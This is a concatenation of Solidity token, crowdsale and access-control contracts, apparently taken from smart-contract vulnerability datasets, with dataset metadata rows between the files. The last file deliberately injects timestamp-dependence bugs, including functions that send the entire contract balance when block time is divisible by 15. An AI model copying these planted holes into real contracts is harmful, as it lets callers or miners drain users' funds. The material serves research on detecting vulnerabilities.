bytes32 internal constant ROLE_TRANSFER_ADMIN = 0xb6527e944caca3d151b1f94e49ac5e223142694860743e66164720e034ec9b19;
// may reclaim tokens/ether from contracts supporting IReclaimable interface
bytes32 internal constant ROLE_RECLAIMER = 0x0542bbd0c672578966dcc525b30aa16723bb042675554ac5b0362f86b6e97dc5;
bytes32 internal constant ROLE_PLATFORM_OPERATOR_REPRESENTATIVE = 0xb2b321377653f655206f71514ff9f150d0822d062a5abcf220d549e1da7999f0;
bytes32 internal constant ROLE_EURT_DEPOSIT_MANAGER = 0x7c8ecdcba80ce87848d16ad77ef57cc196c208fc95c5638e4a48c681a34d4fe7;
}
contract IBasicToken {
////////////////////////
// Events
////////////////////////
event Transfer(address indexed from,
address indexed to,
uint256 amount);
////////////////////////
// Public functions
////////////////////////
/// @dev This function makes it easy to get the total number of tokens
/// @return The total number of tokens
function totalSupply()
public
constant
returns (uint256);
/// @param owner The address that's balance is being requested
/// @return The balance of `owner` at the current block
function balanceOf(address owner)
public
constant
returns (uint256 balance);
/// @notice Send `amount` tokens to `to` from `msg.sender`
/// @param to The address of the recipient
/// @param amount The amount of tokens to be transferred
/// @return Whether the transfer was successful or not
function transfer(address to, uint256 amount)
public
returns (bool success);
}
/// @title allows deriving contract to recover any token or ether that it has balance of
/// be ready to handle such claims
/// @dev use with care!
/// 1. ROLE_RECLAIMER is allowed to claim tokens, it's not returning tokens to original owner
/// see LockedAccount as an example
contract Reclaimable is AccessControlled, AccessRoles {
////////////////////////
// Constants
////////////////////////
IBasicToken constant internal RECLAIM_ETHER = IBasicToken(0x0);
////////////////////////
// Public functions
////////////////////////
function reclaim(IBasicToken token)
public
only(ROLE_RECLAIMER)
{
address reclaimer = msg.sender;
if(token == RECLAIM_ETHER) {
reclaimer.transfer(this.balance);
} else {
uint256 balance = token.balanceOf(this);
require(token.transfer(reclaimer, balance));
}
}
}
/// @title access policy based on Access Control Lists concept
/// This assignment happens in two contexts:
/// Permissions are cascading as follows
/// - evaluate permission for given subject for given object (local context)
/// - evaluate permission for given subject for all objects (global context)
/// - if still unset then disallow
/// See IAccessControlled for definitions of subject, object and role
contract RoleBasedAccessPolicy is
IAccessPolicy,
AccessControlled,
Reclaimable
{
////////////////
// Types
////////////////
// ukasiewicz logic values
enum TriState {
Unset,
Allow,
Deny
}
////////////////////////
// Constants
////////////////////////
IAccessControlled private constant GLOBAL = IAccessControlled(0x0);
address private constant EVERYONE = 0x0;
////////////////////////
// Mutable state
////////////////////////
/// @dev subject role object allowed
mapping (address =>
mapping(bytes32 =>
mapping(address => TriState))) private _access;
/// @notice used to enumerate all users assigned to given role in object context
/// @dev object role addresses
mapping (address =>
mapping(bytes32 => address[])) private _accessList;
////////////////////////
// Events
////////////////////////
/// @dev logs change of permissions, 'controller' is an address with ROLE_ACCESS_CONTROLLER
event LogAccessChanged(address controller,
address indexed subject,
bytes32 role,
address indexed object,
TriState oldValue,
TriState newValue);
event LogAccess(address indexed subject,
bytes32 role,
address indexed object,
bytes4 verb,
bool granted);
////////////////////////
// Constructor
////////////////////////
function RoleBasedAccessPolicy()
AccessControlled(this) // We are our own policy. This is immutable.
public
{
// Issue the local and global AccessContoler role to creator
_access[msg.sender][ROLE_ACCESS_CONTROLLER][this] = TriState.Allow;
_access[msg.sender][ROLE_ACCESS_CONTROLLER][GLOBAL] = TriState.Allow;
// Update enumerator accordingly so those permissions are visible as any other
updatePermissionEnumerator(msg.sender, ROLE_ACCESS_CONTROLLER, this, TriState.Unset, TriState.Allow);
updatePermissionEnumerator(msg.sender, ROLE_ACCESS_CONTROLLER, GLOBAL, TriState.Unset, TriState.Allow);
}
////////////////////////
// Public functions
////////////////////////
// Overrides `AccessControlled.setAccessPolicy(IAccessPolicy,address)`
function setAccessPolicy(IAccessPolicy, address)
public
only(ROLE_ACCESS_CONTROLLER)
{
// `RoleBasedAccessPolicy` always controls its
// own access. Disallow changing this by overriding
// the `AccessControlled.setAccessPolicy` function.
revert();
}
// Implements `IAccessPolicy.allowed(address, bytes32, address, bytes4)`
function allowed(address subject,
bytes32 role,
address object,
bytes4 verb)
public
// constant // NOTE: Solidity does not allow subtyping interfaces
returns (bool)
{
bool set = false;
bool allow = false;
TriState value = TriState.Unset;
// Cascade local, global, everyone local, everyone global
value = _access[subject][role][object];
set = value != TriState.Unset;
allow = value == TriState.Allow;
if (!set) {
value = _access[subject][role][GLOBAL];
set = value != TriState.Unset;
allow = value == TriState.Allow;
}
if (!set) {
value = _access[EVERYONE][role][object];
set = value != TriState.Unset;
allow = value == TriState.Allow;
}
if (!set) {
value = _access[EVERYONE][role][GLOBAL];
set = value != TriState.Unset;
allow = value == TriState.Allow;
}
// If none is set then disallow
if (!set) {
allow = false;
}
// Log and return
LogAccess(subject, role, object, verb, allow);
return allow;
}
// Assign a role to a user globally
function setUserRole(address subject,
bytes32 role,
IAccessControlled object,
TriState newValue)
public
only(ROLE_ACCESS_CONTROLLER)
{
setUserRolePrivate(subject, role, object, newValue);
}
// Atomically change a set of role assignments
function setUserRoles(address[] subjects,
bytes32[] roles,
IAccessControlled[] objects,
TriState[] newValues)
public
only(ROLE_ACCESS_CONTROLLER)
{
require(subjects.length == roles.length);
require(subjects.length == objects.length);
require(subjects.length == newValues.length);
for(uint256 i = 0; i < subjects.length; ++i) {
setUserRolePrivate(subjects[i], roles[i], objects[i], newValues[i]);
}
}
function getValue(address subject,
bytes32 role,
IAccessControlled object)
public
constant
returns (TriState)
{
return _access[subject][role][object];
}
function getUsers(IAccessControlled object,
bytes32 role)
public
constant
returns (address[])
{
return _accessList[object][role];
}
////////////////////////
// Private functions
////////////////////////
function setUserRolePrivate(address subject,
bytes32 role,
IAccessControlled object,
TriState newValue)
private
{
// An access controler is not allowed to revoke his own right on this
// contract. This prevents access controlers from locking themselves
// out. We also require the current contract to be its own policy for
// this to work. This is enforced elsewhere.
require(role != ROLE_ACCESS_CONTROLLER || subject != msg.sender || object != this);
// Fetch old value and short-circuit no-ops
TriState oldValue = _access[subject][role][object];
if(oldValue == newValue) {
return;
}
// Update the mapping
_access[subject][role][object] = newValue;
// Update permission in enumerator
updatePermissionEnumerator(subject, role, object, oldValue, newValue);
// Log
LogAccessChanged(msg.sender, subject, role, object, oldValue, newValue);
}
function updatePermissionEnumerator(address subject,
bytes32 role,
IAccessControlled object,
TriState oldValue,
TriState newValue)
private
{
// Update the list on add / remove
address[] storage list = _accessList[object][role];
// Add new subject only when going form Unset to Allow/Deny
if(oldValue == TriState.Unset && newValue != TriState.Unset) {
list.push(subject);
}
// Remove subject when unsetting Allow/Deny
if(oldValue != TriState.Unset && newValue == TriState.Unset) {
for(uint256 i = 0; i < list.length; ++i) {
if(list[i] == subject) {
// replace unset address with last address in the list, cut list size
list[i] = list[list.length - 1];
delete list[list.length - 1];
list.length -= 1;
// there will be no more matches
break;
}
}
}
}
}
| 207,636 | 523 |
d08aa1d53b4b853cb73530288300b5ba3c27abd17d6a609fac3259336ef1ef08
| 30,810 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x313df3fac623a824c8e64b4c47cf62fe0b75809e.sol
| 5,882 | 20,870 |
pragma solidity ^0.4.18;
// File: zeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/examples/SimpleToken.sol
contract SimpleToken is StandardToken {
string public constant name = "SimpleToken"; // solium-disable-line uppercase
string public constant symbol = "SIM"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 10000 * (10 ** uint256(decimals));
function SimpleToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/LockedOutTokens.sol
// for unit test purposes only
contract LockedOutTokens is Ownable {
address public wallet;
uint8 public tranchesCount;
uint256 public trancheSize;
uint256 public period;
uint256 public startTimestamp;
uint8 public tranchesPayedOut = 0;
ERC20Basic internal token;
function LockedOutTokens(address _wallet,
address _tokenAddress,
uint256 _startTimestamp,
uint8 _tranchesCount,
uint256 _trancheSize,
uint256 _periodSeconds) {
require(_wallet != address(0));
require(_tokenAddress != address(0));
require(_startTimestamp > 0);
require(_tranchesCount > 0);
require(_trancheSize > 0);
require(_periodSeconds > 0);
wallet = _wallet;
tranchesCount = _tranchesCount;
startTimestamp = _startTimestamp;
trancheSize = _trancheSize;
period = _periodSeconds;
token = ERC20Basic(_tokenAddress);
}
function grant()
public
{
require(wallet == msg.sender);
require(tranchesPayedOut < tranchesCount);
require(startTimestamp > 0);
require(now >= startTimestamp + (period * (tranchesPayedOut + 1)));
tranchesPayedOut = tranchesPayedOut + 1;
token.transfer(wallet, trancheSize);
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: contracts/TiqpitToken.sol
contract TiqpitToken is StandardToken, Pausable {
using SafeMath for uint256;
string constant public name = "Tiqpit Token";
string constant public symbol = "PIT";
uint8 constant public decimals = 18;
string constant public smallestUnitName = "TIQ";
uint256 constant public INITIAL_TOTAL_SUPPLY = 500e6 * (uint256(10) ** decimals);
address private addressIco;
modifier onlyIco() {
require(msg.sender == addressIco);
_;
}
function TiqpitToken (address _ico) public {
require(_ico != address(0));
addressIco = _ico;
totalSupply_ = totalSupply_.add(INITIAL_TOTAL_SUPPLY);
balances[_ico] = balances[_ico].add(INITIAL_TOTAL_SUPPLY);
Transfer(address(0), _ico, INITIAL_TOTAL_SUPPLY);
pause();
}
function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool) {
super.transferFrom(_from, _to, _value);
}
function transferFromIco(address _to, uint256 _value) onlyIco public returns (bool) {
super.transfer(_to, _value);
}
function burnFromAddress(address _from) onlyIco public {
uint256 amount = balances[_from];
require(_from != address(0));
require(amount > 0);
require(amount <= balances[_from]);
balances[_from] = balances[_from].sub(amount);
totalSupply_ = totalSupply_.sub(amount);
Transfer(_from, address(0), amount);
}
}
// File: contracts/Whitelist.sol
contract Whitelist is Ownable {
mapping(address => bool) whitelist;
uint256 public whitelistLength = 0;
address public backendAddress;
function addWallet(address _wallet) public onlyPrivilegedAddresses {
require(_wallet != address(0));
require(!isWhitelisted(_wallet));
whitelist[_wallet] = true;
whitelistLength++;
}
function removeWallet(address _wallet) public onlyOwner {
require(_wallet != address(0));
require(isWhitelisted(_wallet));
whitelist[_wallet] = false;
whitelistLength--;
}
function isWhitelisted(address _wallet) constant public returns (bool) {
return whitelist[_wallet];
}
function setBackendAddress(address _backendAddress) public onlyOwner {
require(_backendAddress != address(0));
backendAddress = _backendAddress;
}
modifier onlyPrivilegedAddresses() {
require(msg.sender == owner || msg.sender == backendAddress);
_;
}
}
// File: contracts/Whitelistable.sol
contract Whitelistable {
Whitelist public whitelist;
modifier whenWhitelisted(address _wallet) {
require(whitelist.isWhitelisted(_wallet));
_;
}
function Whitelistable() public {
whitelist = new Whitelist();
}
}
// File: contracts/TiqpitCrowdsale.sol
contract TiqpitCrowdsale is Pausable, Whitelistable {
using SafeMath for uint256;
uint256 constant private DECIMALS = 18;
uint256 constant public RESERVED_TOKENS_BOUNTY = 10e6 * (10 ** DECIMALS);
uint256 constant public RESERVED_TOKENS_FOUNDERS = 25e6 * (10 ** DECIMALS);
uint256 constant public RESERVED_TOKENS_ADVISORS = 25e5 * (10 ** DECIMALS);
uint256 constant public RESERVED_TOKENS_TIQPIT_SOLUTIONS = 625e5 * (10 ** DECIMALS);
uint256 constant public MIN_INVESTMENT = 200 * (10 ** DECIMALS);
uint256 constant public MINCAP_TOKENS_PRE_ICO = 1e6 * (10 ** DECIMALS);
uint256 constant public MAXCAP_TOKENS_PRE_ICO = 75e5 * (10 ** DECIMALS);
uint256 constant public MINCAP_TOKENS_ICO = 5e6 * (10 ** DECIMALS);
uint256 constant public MAXCAP_TOKENS_ICO = 3925e5 * (10 ** DECIMALS);
uint256 public tokensRemainingIco = MAXCAP_TOKENS_ICO;
uint256 public tokensRemainingPreIco = MAXCAP_TOKENS_PRE_ICO;
uint256 public soldTokensPreIco = 0;
uint256 public soldTokensIco = 0;
uint256 public soldTokensTotal = 0;
uint256 public preIcoRate = 2857; // 1 PIT = 0.00035 ETH //Base rate for Pre-ICO stage.
// ICO rates
uint256 public firstRate = 2500; // 1 PIT = 0.0004 ETH
uint256 public secondRate = 2222; // 1 PIT = 0.00045 ETH
uint256 public thirdRate = 2000; // 1 PIT = 0.0005 ETH
uint256 public startTimePreIco = 0;
uint256 public endTimePreIco = 0;
uint256 public startTimeIco = 0;
uint256 public endTimeIco = 0;
uint256 public weiRaisedPreIco = 0;
uint256 public weiRaisedIco = 0;
uint256 public weiRaisedTotal = 0;
TiqpitToken public token = new TiqpitToken(this);
// Key - address of wallet, Value - address of contract.
mapping (address => address) private lockedList;
address private tiqpitSolutionsWallet;
address private foundersWallet;
address private advisorsWallet;
address private bountyWallet;
address public backendAddress;
bool private hasPreIcoFailed = false;
bool private hasIcoFailed = false;
bool private isInitialDistributionDone = false;
struct Purchase {
uint256 refundableWei;
uint256 burnableTiqs;
}
mapping(address => Purchase) private preIcoPurchases;
mapping(address => Purchase) private icoPurchases;
function TiqpitCrowdsale(uint256 _startTimePreIco,
uint256 _endTimePreIco,
uint256 _startTimeIco,
uint256 _endTimeIco,
address _foundersWallet,
address _advisorsWallet,
address _tiqpitSolutionsWallet,
address _bountyWallet) Whitelistable() public
{
require(_bountyWallet != address(0) && _foundersWallet != address(0) && _tiqpitSolutionsWallet != address(0) && _advisorsWallet != address(0));
require(_startTimePreIco >= now && _endTimePreIco > _startTimePreIco);
require(_startTimeIco >= _endTimePreIco && _endTimeIco > _startTimeIco);
startTimePreIco = _startTimePreIco;
endTimePreIco = _endTimePreIco;
startTimeIco = _startTimeIco;
endTimeIco = _endTimeIco;
tiqpitSolutionsWallet = _tiqpitSolutionsWallet;
advisorsWallet = _advisorsWallet;
foundersWallet = _foundersWallet;
bountyWallet = _bountyWallet;
whitelist.transferOwnership(msg.sender);
token.transferOwnership(msg.sender);
}
function() public payable {
sellTokens();
}
function isPreIco() public view returns (bool) {
return now >= startTimePreIco && now <= endTimePreIco;
}
function isIco() public view returns (bool) {
return now >= startTimeIco && now <= endTimeIco;
}
function burnRemainingTokens() onlyOwner public {
require(tokensRemainingIco > 0);
require(now > endTimeIco);
token.burnFromAddress(this);
tokensRemainingIco = 0;
}
function initialDistribution() onlyOwner public {
require(!isInitialDistributionDone);
token.transferFromIco(bountyWallet, RESERVED_TOKENS_BOUNTY);
token.transferFromIco(advisorsWallet, RESERVED_TOKENS_ADVISORS);
token.transferFromIco(tiqpitSolutionsWallet, RESERVED_TOKENS_TIQPIT_SOLUTIONS);
lockTokens(foundersWallet, RESERVED_TOKENS_FOUNDERS, 1 years);
isInitialDistributionDone = true;
}
function getIcoPurchase(address _address) view public returns(uint256 weis, uint256 tokens) {
return (icoPurchases[_address].refundableWei, icoPurchases[_address].burnableTiqs);
}
function getPreIcoPurchase(address _address) view public returns(uint256 weis, uint256 tokens) {
return (preIcoPurchases[_address].refundableWei, preIcoPurchases[_address].burnableTiqs);
}
function refundPreIco() public {
require(hasPreIcoFailed);
require(preIcoPurchases[msg.sender].burnableTiqs > 0 && preIcoPurchases[msg.sender].refundableWei > 0);
uint256 amountWei = preIcoPurchases[msg.sender].refundableWei;
msg.sender.transfer(amountWei);
preIcoPurchases[msg.sender].refundableWei = 0;
preIcoPurchases[msg.sender].burnableTiqs = 0;
token.burnFromAddress(msg.sender);
}
function refundIco() public {
require(hasIcoFailed);
require(icoPurchases[msg.sender].burnableTiqs > 0 && icoPurchases[msg.sender].refundableWei > 0);
uint256 amountWei = icoPurchases[msg.sender].refundableWei;
msg.sender.transfer(amountWei);
icoPurchases[msg.sender].refundableWei = 0;
icoPurchases[msg.sender].burnableTiqs = 0;
token.burnFromAddress(msg.sender);
}
function burnTokens(address _address) onlyOwner public {
require(hasIcoFailed);
require(icoPurchases[_address].burnableTiqs > 0 || preIcoPurchases[_address].burnableTiqs > 0);
icoPurchases[_address].burnableTiqs = 0;
preIcoPurchases[_address].burnableTiqs = 0;
token.burnFromAddress(_address);
}
function manualSendTokens(address _address, uint256 _tokensAmount) whenWhitelisted(_address) public onlyPrivilegedAddresses {
require(_tokensAmount > 0);
if (isPreIco() && _tokensAmount <= tokensRemainingPreIco) {
token.transferFromIco(_address, _tokensAmount);
addPreIcoPurchaseInfo(_address, 0, _tokensAmount);
} else if (isIco() && _tokensAmount <= tokensRemainingIco && soldTokensPreIco >= MINCAP_TOKENS_PRE_ICO) {
token.transferFromIco(_address, _tokensAmount);
addIcoPurchaseInfo(_address, 0, _tokensAmount);
} else {
revert();
}
}
function getLockedContractAddress(address wallet) public view returns(address) {
return lockedList[wallet];
}
function triggerFailFlags() onlyOwner public {
if (!hasPreIcoFailed && now > endTimePreIco && soldTokensPreIco < MINCAP_TOKENS_PRE_ICO) {
hasPreIcoFailed = true;
}
if (!hasIcoFailed && now > endTimeIco && soldTokensIco < MINCAP_TOKENS_ICO) {
hasIcoFailed = true;
}
}
function currentIcoRate() public view returns(uint256) {
if (now > startTimeIco && now <= startTimeIco + 5 days) {
return firstRate;
}
if (now > startTimeIco + 5 days && now <= startTimeIco + 10 days) {
return secondRate;
}
if (now > startTimeIco + 10 days) {
return thirdRate;
}
}
function sellTokens() whenWhitelisted(msg.sender) whenNotPaused public payable {
require(msg.value > 0);
bool preIco = isPreIco();
bool ico = isIco();
if (ico) {require(soldTokensPreIco >= MINCAP_TOKENS_PRE_ICO);}
require((preIco && tokensRemainingPreIco > 0) || (ico && tokensRemainingIco > 0));
uint256 currentRate = preIco ? preIcoRate : currentIcoRate();
uint256 weiAmount = msg.value;
uint256 tokensAmount = weiAmount.mul(currentRate);
require(tokensAmount >= MIN_INVESTMENT);
if (ico) {
// Move unsold Pre-Ico tokens for current phase.
if (tokensRemainingPreIco > 0) {
tokensRemainingIco = tokensRemainingIco.add(tokensRemainingPreIco);
tokensRemainingPreIco = 0;
}
}
uint256 tokensRemaining = preIco ? tokensRemainingPreIco : tokensRemainingIco;
if (tokensAmount > tokensRemaining) {
uint256 tokensRemainder = tokensAmount.sub(tokensRemaining);
tokensAmount = tokensAmount.sub(tokensRemainder);
uint256 overpaidWei = tokensRemainder.div(currentRate);
msg.sender.transfer(overpaidWei);
weiAmount = msg.value.sub(overpaidWei);
}
token.transferFromIco(msg.sender, tokensAmount);
if (preIco) {
addPreIcoPurchaseInfo(msg.sender, weiAmount, tokensAmount);
if (soldTokensPreIco >= MINCAP_TOKENS_PRE_ICO) {
owner.transfer(this.balance);
}
}
if (ico) {
addIcoPurchaseInfo(msg.sender, weiAmount, tokensAmount);
if (soldTokensIco >= MINCAP_TOKENS_ICO) {
owner.transfer(this.balance);
}
}
}
function addPreIcoPurchaseInfo(address _address, uint256 _amountWei, uint256 _amountTokens) internal {
preIcoPurchases[_address].refundableWei = preIcoPurchases[_address].refundableWei.add(_amountWei);
preIcoPurchases[_address].burnableTiqs = preIcoPurchases[_address].burnableTiqs.add(_amountTokens);
soldTokensPreIco = soldTokensPreIco.add(_amountTokens);
tokensRemainingPreIco = tokensRemainingPreIco.sub(_amountTokens);
weiRaisedPreIco = weiRaisedPreIco.add(_amountWei);
soldTokensTotal = soldTokensTotal.add(_amountTokens);
weiRaisedTotal = weiRaisedTotal.add(_amountWei);
}
function addIcoPurchaseInfo(address _address, uint256 _amountWei, uint256 _amountTokens) internal {
icoPurchases[_address].refundableWei = icoPurchases[_address].refundableWei.add(_amountWei);
icoPurchases[_address].burnableTiqs = icoPurchases[_address].burnableTiqs.add(_amountTokens);
soldTokensIco = soldTokensIco.add(_amountTokens);
tokensRemainingIco = tokensRemainingIco.sub(_amountTokens);
weiRaisedIco = weiRaisedIco.add(_amountWei);
soldTokensTotal = soldTokensTotal.add(_amountTokens);
weiRaisedTotal = weiRaisedTotal.add(_amountWei);
}
function lockTokens(address _wallet, uint256 _amount, uint256 _time) internal {
LockedOutTokens locked = new LockedOutTokens(_wallet, token, endTimePreIco, 1, _amount, _time);
lockedList[_wallet] = locked;
token.transferFromIco(locked, _amount);
}
function setBackendAddress(address _backendAddress) public onlyOwner {
require(_backendAddress != address(0));
backendAddress = _backendAddress;
}
modifier onlyPrivilegedAddresses() {
require(msg.sender == owner || msg.sender == backendAddress);
_;
}
}
| 202,149 | 524 |
7d9fbf66df8b50015324434698014e337570e2a394e0a570af9e56cbb5187dfb
| 16,513 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
experiments/ge-sc-data/source_code/time_manipulation/clean_50_buggy_curated_0/buggy_48.sol
| 4,171 | 16,394 |
pragma solidity ^0.5.11; //compiles with 0.5.0 and above
// ----------------------------------------------------------------------------
// 'XQC' token contract
//
// Symbol : XQC
// Name : Quras Token
// Total supply: 888888888
// Decimals : 8
//
// The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath { //contract --> library : compiler version up
function add(uint a, uint b) internal pure returns (uint c) { //public -> internal : compiler version up
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) { //public -> internal : compiler version up
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) { //public -> internal : compiler version up
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) { //public -> internal : compiler version up
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function bug_tmstmp25() view public returns (bool) {
return block.timestamp >= 1546300800;
} //constant -> view : compiler version up
function balanceOf(address tokenOwner) public view returns (uint balance);
address winner_tmstmp19;
function play_tmstmp19(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp19 = msg.sender;}} //constant -> view : compiler version up
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
address winner_tmstmp26;
function play_tmstmp26(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp26 = msg.sender;}} //constant -> view : compiler version up
function transfer(address to, uint tokens) public returns (bool success);
function bug_tmstmp20 () public payable {
uint pastBlockTime_tmstmp20; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp20); // only 1 transaction per block //bug
pastBlockTime_tmstmp20 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
function approve(address spender, uint tokens) public returns (bool success);
function bug_tmstmp32 () public payable {
uint pastBlockTime_tmstmp32; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp32); // only 1 transaction per block //bug
pastBlockTime_tmstmp32 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
function transferFrom(address from, address to, uint tokens) public returns (bool success);
address winner_tmstmp38;
function play_tmstmp38(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp38 = msg.sender;}}
uint256 bugv_tmstmp2 = block.timestamp;
event Transfer(address indexed from, address indexed to, uint tokens);
uint256 bugv_tmstmp3 = block.timestamp;
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
function bug_tmstmp4 () public payable {
uint pastBlockTime_tmstmp4; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp4); // only 1 transaction per block //bug
pastBlockTime_tmstmp4 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
} //bytes -> memory : compiler version up
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
function bug_tmstmp12 () public payable {
uint pastBlockTime_tmstmp12; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp12); // only 1 transaction per block //bug
pastBlockTime_tmstmp12 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
address public owner;
address winner_tmstmp11;
function play_tmstmp11(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp11 = msg.sender;}}
address public newOwner;
uint256 bugv_tmstmp4 = block.timestamp;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public { //function Owned -> constructor : compiler version up
owner = msg.sender;
}
address winner_tmstmp7;
function play_tmstmp7(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp7 = msg.sender;}}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
uint256 bugv_tmstmp1 = block.timestamp;
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
address winner_tmstmp23;
function play_tmstmp23(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp23 = msg.sender;}}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner); //add emit : compiler version up
owner = newOwner;
newOwner = address(0);
}
address winner_tmstmp14;
function play_tmstmp14(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp14 = msg.sender;}}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// fixed supply
// ----------------------------------------------------------------------------
